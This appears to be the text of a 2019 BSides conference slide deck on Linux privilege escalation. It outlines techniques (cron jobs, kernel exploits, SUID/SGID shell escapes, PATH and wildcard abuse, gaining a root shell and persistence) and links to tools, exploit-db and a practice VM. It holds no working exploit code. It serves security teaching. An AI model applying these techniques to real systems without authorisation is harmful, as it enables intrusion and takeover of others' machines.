LSB\_RELEASE -A

UNAME -A

# Boss Mode

RECAP

## Cron jobs

1. /etc/crontab
2. writeable cron dir
3. affect process downstream

## Kernel exploits


Two ways to escalate:

1. **You're the agent** – your current user permissions are sufficient to execute the command & do the thing
2. **Something else is the agent** – you get something else to execute the command under THEIR permissions, which are sufficient to do the thing



# THAT'S ONE IN THE BANK

LET ME SUM UP



# Summary

ONE HOUR IN ONE SLIDE

Typical goal in server:  
persistence + privilege escalation

Linux tends to be consistent in its core utilities;  
get familiar with what's there and where it lives,  
and spotting vulnerable paths gets a lot easier

- **Are you the agent?** Drop into a root shell & give yourself persistence
- **Is something else the agent?** Need an intermediate step – get something to help you out

- **Easy mode**
  - Who are you?
  - Where are you?
  - What can you do?
- **Sneaky mode**
  - SUID/SGID bits:  
shell escapes, cmd option args, PATH = .
  - Wildcards
- **Boss mode**
  - Cron jobs
  - Kernel exploits



# Resources & Contact

I'M REAL FRIENDLY

- <https://payatu.com/guide-linux-privilege-escalation/>
- <http://www.securitysift.com/download/linuxprivchecker.py>
- <https://exploit-db.com>
- <https://www.linode.com/docs/tools-reference/linux-users-and-groups/>
- <https://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/>
- <https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/>
- <https://percussiveelbow.github.io/linux-privesc/>

kbroussard@bishopfox.com

@grazhacks on Twitter

SLIDE DECK

[http://github.com/  
grazhacks/BSidesCMH2019](http://github.com/grazhacks/BSidesCMH2019)

PRACTICE VM

[http://bit.ly/  
BSidesCMH2019](http://bit.ly/BSidesCMH2019)



**Thank You!**

kbroussard@bishopfox.com  
@grazhacks on Twitter

SLIDE DECK  
[http://github.com/  
grazhacks/BSidesCMH2019](http://github.com/grazhacks/BSidesCMH2019)

**Questions?**

PRACTICE VM  
[http://bit.ly/  
BSidesCMH2019](http://bit.ly/BSidesCMH2019)